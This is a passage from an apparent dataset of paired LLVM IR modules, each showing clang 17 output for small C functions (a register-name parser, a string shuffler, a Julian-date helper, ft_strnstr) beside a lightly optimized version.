%22 = sub nsw i32 %21, 97
%23 = add nsw i32 %22, 1
store i32 %23, ptr %5, align 4
br label %36
24: ; preds = %11, %2
%25 = load ptr, ptr %4, align 8
%26 = load i8, ptr %25, align 1
%27 = call signext i8 @tolower(i8 noundef signext %26)
%28 = sext i8 %27 to i32
%29 = icmp eq i32 %28, 122
br i1 %29, label %30, label %31
30: ; preds = %24
store i32 0, ptr %5, align 4
br label %35
31: ; preds = %24
%32 = load ptr, ptr %3, align 8
%33 = call i32 @printf(ptr noundef @.str, ptr noundef %32)
%34 = call i32 @exit(i32 noundef -1) #3
unreachable
35: ; preds = %30
br label %36
36: ; preds = %35, %17
%37 = load i32, ptr %5, align 4
ret i32 %37
}
declare signext i8 @tolower(i8 noundef signext) #1
declare i32 @printf(ptr noundef, ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpv8mvevga.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [32 x i8] c"ERROR:bad register name in %s!\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @GetRegNum(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store ptr %1, ptr %4, align 8
%6 = load ptr, ptr %4, align 8
%7 = load i8, ptr %6, align 1
%8 = call signext i8 @tolower(i8 noundef signext %7)
%9 = sext i8 %8 to i32
%10 = icmp sge i32 %9, 97
br i1 %10, label %11, label %24
11: ; preds = %2
%12 = load ptr, ptr %4, align 8
%13 = load i8, ptr %12, align 1
%14 = call signext i8 @tolower(i8 noundef signext %13)
%15 = sext i8 %14 to i32
%16 = icmp sle i32 %15, 103
br i1 %16, label %17, label %24
17: ; preds = %11
%18 = load ptr, ptr %4, align 8
%19 = load i8, ptr %18, align 1
%20 = call signext i8 @tolower(i8 noundef signext %19)
%21 = sext i8 %20 to i32
%22 = sub nsw i32 %21, 97
%23 = add nsw i32 %22, 1
store i32 %23, ptr %5, align 4
br label %36
24: ; preds = %11, %2
%25 = load ptr, ptr %4, align 8
%26 = load i8, ptr %25, align 1
%27 = call signext i8 @tolower(i8 noundef signext %26)
%28 = sext i8 %27 to i32
%29 = icmp eq i32 %28, 122
br i1 %29, label %30, label %31
30: ; preds = %24
store i32 0, ptr %5, align 4
br label %35
31: ; preds = %24
%32 = load ptr, ptr %3, align 8
%33 = call i32 @printf(ptr noundef @.str, ptr noundef %32)
%34 = call i32 @exit(i32 noundef -1) #3
unreachable
35: ; preds = %30
br label %36
36: ; preds = %35, %17
%37 = load i32, ptr %5, align 4
ret i32 %37
}
declare signext i8 @tolower(i8 noundef signext) #1
declare i32 @printf(ptr noundef, ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpdw12pre8.c'
source_filename = "/tmp/tmpdw12pre8.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stderr = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [19 x i8] c"Usage: %s <text>\07\0A\00", align 1
@EXIT_FAILURE = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [4 x i8] c"%s\0A\00", align 1
@EXIT_SUCCESS = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i64, align 8
%7 = alloca ptr, align 8
%8 = alloca ptr, align 8
%9 = alloca ptr, align 8
%10 = alloca i64, align 8
%11 = alloca i64, align 8
%12 = alloca i64, align 8
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%13 = call i32 @time(ptr noundef null)
%14 = call i32 @srand(i32 noundef %13)
%15 = load i32, ptr %4, align 4
%16 = icmp ne i32 %15, 2
br i1 %16, label %17, label %25
17: ; preds = %2
%18 = load i32, ptr @stderr, align 4
%19 = load ptr, ptr %5, align 8
%20 = getelementptr inbounds ptr, ptr %19, i64 0
%21 = load ptr, ptr %20, align 8
%22 = call i32 @fprintf(i32 noundef %18, ptr noundef @.str, ptr noundef %21)
%23 = load i32, ptr @EXIT_FAILURE, align 4
%24 = call i32 @exit(i32 noundef %23) #4
unreachable
25: ; preds = %2
%26 = load ptr, ptr %5, align 8
%27 = getelementptr inbounds ptr, ptr %26, i64 1
%28 = load ptr, ptr %27, align 8
store ptr %28, ptr %7, align 8
%29 = load ptr, ptr %7, align 8
%30 = call i64 @strlen(ptr noundef %29)
store i64 %30, ptr %6, align 8
%31 = load i64, ptr %6, align 8
%32 = call ptr @llvm.stacksave()
store ptr %32, ptr %9, align 8
%33 = alloca i32, i64 %31, align 16
store i64 %31, ptr %10, align 8
%34 = load i64, ptr %6, align 8
%35 = call i32 @memset(ptr noundef %33, i32 noundef 0, i64 noundef %34)
%36 = load i64, ptr %6, align 8
%37 = add i64 %36, 1
%38 = call ptr @malloc(i64 noundef %37)
store ptr %38, ptr %8, align 8
store i64 0, ptr %11, align 8
br label %39
39: ; preds = %62, %25
%40 = load i64, ptr %11, align 8
%41 = load i64, ptr %6, align 8
%42 = icmp ult i64 %40, %41
br i1 %42, label %43, label %65
43: ; preds = %39
br label %44
44: ; preds = %51, %43
%45 = load i64, ptr %6, align 8
%46 = call i64 @rand_to_max(i64 noundef %45)
store i64 %46, ptr %12, align 8
%47 = load i64, ptr %12, align 8
%48 = getelementptr inbounds i32, ptr %33, i64 %47
%49 = load i32, ptr %48, align 4
%50 = icmp ne i32 %49, 0
br i1 %50, label %51, label %52
51: ; preds = %44
br label %44, !llvm.loop !6
52: ; preds = %44
%53 = load ptr, ptr %7, align 8
%54 = load i64, ptr %12, align 8
%55 = getelementptr inbounds i8, ptr %53, i64 %54
%56 = load i8, ptr %55, align 1
%57 = load ptr, ptr %8, align 8
%58 = load i64, ptr %11, align 8
%59 = getelementptr inbounds i8, ptr %57, i64 %58
store i8 %56, ptr %59, align 1
%60 = load i64, ptr %12, align 8
%61 = getelementptr inbounds i32, ptr %33, i64 %60
store i32 1, ptr %61, align 4
br label %62
62: ; preds = %52
%63 = load i64, ptr %11, align 8
%64 = add i64 %63, 1
store i64 %64, ptr %11, align 8
br label %39, !llvm.loop !8
65: ; preds = %39
%66 = load ptr, ptr %8, align 8
%67 = load i64, ptr %6, align 8
%68 = getelementptr inbounds i8, ptr %66, i64 %67
store i8 0, ptr %68, align 1
%69 = load ptr, ptr %8, align 8
%70 = call i32 @printf(ptr noundef @.str.1, ptr noundef %69)
%71 = load i32, ptr @EXIT_SUCCESS, align 4
store i32 %71, ptr %3, align 4
%72 = load ptr, ptr %9, align 8
call void @llvm.stackrestore(ptr %72)
%73 = load i32, ptr %3, align 4
ret i32 %73
}
declare i32 @srand(i32 noundef) #1
declare i32 @time(ptr noundef) #1
declare i32 @fprintf(i32 noundef, ptr noundef, ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare i64 @strlen(ptr noundef) #1
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare ptr @llvm.stacksave() #3
declare i32 @memset(ptr noundef, i32 noundef, i64 noundef) #1
declare ptr @malloc(i64 noundef) #1
declare i64 @rand_to_max(i64 noundef) #1
declare i32 @printf(ptr noundef, ptr noundef) #1
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare void @llvm.stackrestore(ptr) #3
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nocallback nofree nosync nounwind willreturn }
attributes #4 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpdw12pre8.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stderr = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [19 x i8] c"Usage: %s <text>\07\0A\00", align 1
@EXIT_FAILURE = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [4 x i8] c"%s\0A\00", align 1
@EXIT_SUCCESS = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i64, align 8
%7 = alloca ptr, align 8
%8 = alloca ptr, align 8
%9 = alloca ptr, align 8
%10 = alloca i64, align 8
%11 = alloca i64, align 8
%12 = alloca i64, align 8
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%13 = call i32 @time(ptr noundef null)
%14 = call i32 @srand(i32 noundef %13)
%15 = load i32, ptr %4, align 4
%16 = icmp ne i32 %15, 2
br i1 %16, label %17, label %25
17: ; preds = %2
%18 = load i32, ptr @stderr, align 4
%19 = load ptr, ptr %5, align 8
%20 = getelementptr inbounds ptr, ptr %19, i64 0
%21 = load ptr, ptr %20, align 8
%22 = call i32 @fprintf(i32 noundef %18, ptr noundef @.str, ptr noundef %21)
%23 = load i32, ptr @EXIT_FAILURE, align 4
%24 = call i32 @exit(i32 noundef %23) #4
unreachable
25: ; preds = %2
%26 = load ptr, ptr %5, align 8
%27 = getelementptr inbounds ptr, ptr %26, i64 1
%28 = load ptr, ptr %27, align 8
store ptr %28, ptr %7, align 8
%29 = load ptr, ptr %7, align 8
%30 = call i64 @strlen(ptr noundef %29)
store i64 %30, ptr %6, align 8
%31 = load i64, ptr %6, align 8
%32 = call ptr @llvm.stacksave()
store ptr %32, ptr %9, align 8
%33 = alloca i32, i64 %31, align 16
store i64 %31, ptr %10, align 8
%34 = load i64, ptr %6, align 8
%35 = call i32 @memset(ptr noundef %33, i32 noundef 0, i64 noundef %34)
%36 = load i64, ptr %6, align 8
%37 = add i64 %36, 1
%38 = call ptr @malloc(i64 noundef %37)
store ptr %38, ptr %8, align 8
store i64 0, ptr %11, align 8
%39 = load i64, ptr %11, align 8
%40 = load i64, ptr %6, align 8
%41 = icmp ult i64 %39, %40
br i1 %41, label %.lr.ph, label %66
.lr.ph: ; preds = %25
br label %42
42: ; preds = %.lr.ph, %60
br label %43
43: ; preds = %43, %42
%44 = load i64, ptr %6, align 8
%45 = call i64 @rand_to_max(i64 noundef %44)
store i64 %45, ptr %12, align 8
%46 = load i64, ptr %12, align 8
%47 = getelementptr inbounds i32, ptr %33, i64 %46
%48 = load i32, ptr %47, align 4
%49 = icmp ne i32 %48, 0
br i1 %49, label %43, label %50, !llvm.loop !6
50: ; preds = %43
%51 = load ptr, ptr %7, align 8
%52 = load i64, ptr %12, align 8
%53 = getelementptr inbounds i8, ptr %51, i64 %52
%54 = load i8, ptr %53, align 1
%55 = load ptr, ptr %8, align 8
%56 = load i64, ptr %11, align 8
%57 = getelementptr inbounds i8, ptr %55, i64 %56
store i8 %54, ptr %57, align 1
%58 = load i64, ptr %12, align 8
%59 = getelementptr inbounds i32, ptr %33, i64 %58
store i32 1, ptr %59, align 4
br label %60
60: ; preds = %50
%61 = load i64, ptr %11, align 8
%62 = add i64 %61, 1
store i64 %62, ptr %11, align 8
%63 = load i64, ptr %11, align 8
%64 = load i64, ptr %6, align 8
%65 = icmp ult i64 %63, %64
br i1 %65, label %42, label %._crit_edge, !llvm.loop !8
._crit_edge: ; preds = %60
br label %66
66: ; preds = %._crit_edge, %25
%67 = load ptr, ptr %8, align 8
%68 = load i64, ptr %6, align 8
%69 = getelementptr inbounds i8, ptr %67, i64 %68
store i8 0, ptr %69, align 1
%70 = load ptr, ptr %8, align 8
%71 = call i32 @printf(ptr noundef @.str.1, ptr noundef %70)
%72 = load i32, ptr @EXIT_SUCCESS, align 4
store i32 %72, ptr %3, align 4
%73 = load ptr, ptr %9, align 8
call void @llvm.stackrestore(ptr %73)
%74 = load i32, ptr %3, align 4
ret i32 %74
}
declare i32 @srand(i32 noundef) #1
declare i32 @time(ptr noundef) #1
declare i32 @fprintf(i32 noundef, ptr noundef, ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare i64 @strlen(ptr noundef) #1
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare ptr @llvm.stacksave() #3
declare i32 @memset(ptr noundef, i32 noundef, i64 noundef) #1
declare ptr @malloc(i64 noundef) #1
declare i64 @rand_to_max(i64 noundef) #1
declare i32 @printf(ptr noundef, ptr noundef) #1
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare void @llvm.stackrestore(ptr) #3
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nocallback nofree nosync nounwind willreturn }
attributes #4 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmpntc8juie.c'
source_filename = "/tmp/tmpntc8juie.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpntc8juie.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpxftq6nc7.c'
source_filename = "/tmp/tmpxftq6nc7.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local double @astro_julian_0h(double noundef %0) #0 {
%2 = alloca double, align 8
store double %0, ptr %2, align 8
%3 = load double, ptr %2, align 8
%4 = fsub double %3, 5.000000e-01
%5 = call double @llvm.floor.f64(double %4)
%6 = fadd double %5, 5.000000e-01
ret double %6
}
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.floor.f64(double) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpxftq6nc7.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local double @astro_julian_0h(double noundef %0) #0 {
%2 = alloca double, align 8
store double %0, ptr %2, align 8
%3 = load double, ptr %2, align 8
%4 = fsub double %3, 5.000000e-01
%5 = call double @llvm.floor.f64(double %4)
%6 = fadd double %5, 5.000000e-01
ret double %6
}
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.floor.f64(double) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpvruo0pce.c'
source_filename = "/tmp/tmpvruo0pce.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @ft_strnstr(ptr noundef %0, ptr noundef %1, i64 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i64, align 8
%8 = alloca i64, align 8
%9 = alloca i64, align 8
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store i64 %2, ptr %7, align 8
%10 = load ptr, ptr %6, align 8
%11 = icmp ne ptr %10, null
br i1 %11, label %12, label %16
12: ; preds = %3
%13 = load ptr, ptr %6, align 8
%14 = load i8, ptr %13, align 1
%15 = icmp ne i8 %14, 0
br i1 %15, label %18, label %16
16: ; preds = %12, %3
%17 = load ptr, ptr %5, align 8
store ptr %17, ptr %4, align 8
br label %73
18: ; preds = %12
store i64 0, ptr %8, align 8
store i64 0, ptr %9, align 8
br label %19
19: ; preds = %69, %18
%20 = load i64, ptr %8, align 8
%21 = load i64, ptr %9, align 8
%22 = add i64 %20, %21
%23 = load i64, ptr %7, align 8
%24 = icmp ult i64 %22, %23
br i1 %24, label %25, label %32
25: ; preds = %19
%26 = load ptr, ptr %5, align 8
%27 = load i64, ptr %8, align 8
%28 = getelementptr inbounds i8, ptr %26, i64 %27
%29 = load i8, ptr %28, align 1
%30 = sext i8 %29 to i32
%31 = icmp ne i32 %30, 0
br label %32
32: ; preds = %25, %19
%33 = phi i1 [ false, %19 ], [ %31, %25 ]
br i1 %33, label %34, label %72
34: ; preds = %32
store i64 0, ptr %9, align 8
br label %35
35: ; preds = %68, %34
%36 = load ptr, ptr %5, align 8
%37 = load i64, ptr %8, align 8
%38 = load i64, ptr %9, align 8
%39 = add i64 %37, %38
%40 = getelementptr inbounds i8, ptr %36, i64 %39
%41 = load i8, ptr %40, align 1
%42 = sext i8 %41 to i32
%43 = load ptr, ptr %6, align 8
%44 = load i64, ptr %9, align 8
%45 = getelementptr inbounds i8, ptr %43, i64 %44
%46 = load i8, ptr %45, align 1
%47 = sext i8 %46 to i32
%48 = icmp eq i32 %42, %47
br i1 %48, label %49, label %55
49: ; preds = %35
%50 = load i64, ptr %8, align 8
%51 = load i64, ptr %9, align 8
%52 = add i64 %50, %51
%53 = load i64, ptr %7, align 8
%54 = icmp ult i64 %52, %53
br label %55
55: ; preds = %49, %35
%56 = phi i1 [ false, %35 ], [ %54, %49 ]
br i1 %56, label %57, label %69
57: ; preds = %55
%58 = load ptr, ptr %6, align 8
%59 = load i64, ptr %9, align 8
%60 = add i64 %59, 1
store i64 %60, ptr %9, align 8
%61 = getelementptr inbounds i8, ptr %58, i64 %60
%62 = load i8, ptr %61, align 1
%63 = icmp ne i8 %62, 0
br i1 %63, label %68, label %64
64: ; preds = %57
%65 = load ptr, ptr %5, align 8
%66 = load i64, ptr %8, align 8
%67 = getelementptr inbounds i8, ptr %65, i64 %66
store ptr %67, ptr %4, align 8
br label %73
68: ; preds = %57
br label %35, !llvm.loop !6
69: ; preds = %55
%70 = load i64, ptr %8, align 8
%71 = add i64 %70, 1
store i64 %71, ptr %8, align 8
br label %19, !llvm.loop !8
72: ; preds = %32
store ptr null, ptr %4, align 8
br label %73
73: ; preds = %72, %64, %16
%74 = load ptr, ptr %4, align 8
ret ptr %74
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpvruo0pce.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @ft_strnstr(ptr noundef %0, ptr noundef %1, i64 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i64, align 8
%8 = alloca i64, align 8
%9 = alloca i64, align 8
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store i64 %2, ptr %7, align 8
%10 = load ptr, ptr %6, align 8
%11 = icmp ne ptr %10, null
br i1 %11, label %12, label %16
12: ; preds = %3
%13 = load ptr, ptr %6, align 8
%14 = load i8, ptr %13, align 1
%15 = icmp ne i8 %14, 0
br i1 %15, label %18, label %16
16: ; preds = %12, %3
%17 = load ptr, ptr %5, align 8
store ptr %17, ptr %4, align 8
br label %72
18: ; preds = %12
store i64 0, ptr %8, align 8
store i64 0, ptr %9, align 8
br label %19
19: ; preds = %68, %18
%20 = load i64, ptr %8, align 8
%21 = load i64, ptr %9, align 8
%22 = add i64 %20, %21
%23 = load i64, ptr %7, align 8
%24 = icmp ult i64 %22, %23
br i1 %24, label %25, label %32
25: ; preds = %19
%26 = load ptr, ptr %5, align 8
%27 = load i64, ptr %8, align 8
%28 = getelementptr inbounds i8, ptr %26, i64 %27
%29 = load i8, ptr %28, align 1
%30 = sext i8 %29 to i32
%31 = icmp ne i32 %30, 0
br label %32
32: ; preds = %25, %19
%33 = phi i1 [ false, %19 ], [ %31, %25 ]
br i1 %33, label %34, label %71
34: ; preds = %32
store i64 0, ptr %9, align 8
br label %35
35: ; preds = %57, %34
%36 = load ptr, ptr %5, align 8
%37 = load i64, ptr %8, align 8
%38 = load i64, ptr %9, align 8
%39 = add i64 %37, %38
%40 = getelementptr inbounds i8, ptr %36, i64 %39
%41 = load i8, ptr %40, align 1
%42 = sext i8 %41 to i32
%43 = load ptr, ptr %6, align 8
%44 = load i64, ptr %9, align 8
%45 = getelementptr inbounds i8, ptr %43, i64 %44
%46 = load i8, ptr %45, align 1
%47 = sext i8 %46 to i32
%48 = icmp eq i32 %42, %47
br i1 %48, label %49, label %55
49: ; preds = %35
%50 = load i64, ptr %8, align 8
%51 = load i64, ptr %9, align 8
%52 = add i64 %50, %51
%53 = load i64, ptr %7, align 8
%54 = icmp ult i64 %52, %53
br label %55
55: ; preds = %49, %35
%56 = phi i1 [ false, %35 ], [ %54, %49 ]
br i1 %56, label %57, label %68
57: ; preds = %55
%58 = load ptr, ptr %6, align 8
%59 = load i64, ptr %9, align 8
%60 = add i64 %59, 1
store i64 %60, ptr %9, align 8
%61 = getelementptr inbounds i8, ptr %58, i64 %60
%62 = load i8, ptr %61, align 1
%63 = icmp ne i8 %62, 0
br i1 %63, label %35, label %64, !llvm.loop !6
64: ; preds = %57
%65 = load ptr, ptr %5, align 8
%66 = load i64, ptr %8, align 8
%67 = getelementptr inbounds i8, ptr %65, i64 %66
store ptr %67, ptr %4, align 8
br label %72
68: ; preds = %55
%69 = load i64, ptr %8, align 8
%70 = add i64 %69, 1
store i64 %70, ptr %8, align 8
br label %19, !llvm.loop !8
71: ; preds = %32
store ptr null, ptr %4, align 8
br label %72
72: ; preds = %71, %64, %16
%73 = load ptr, ptr %4, align 8
ret ptr %73
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
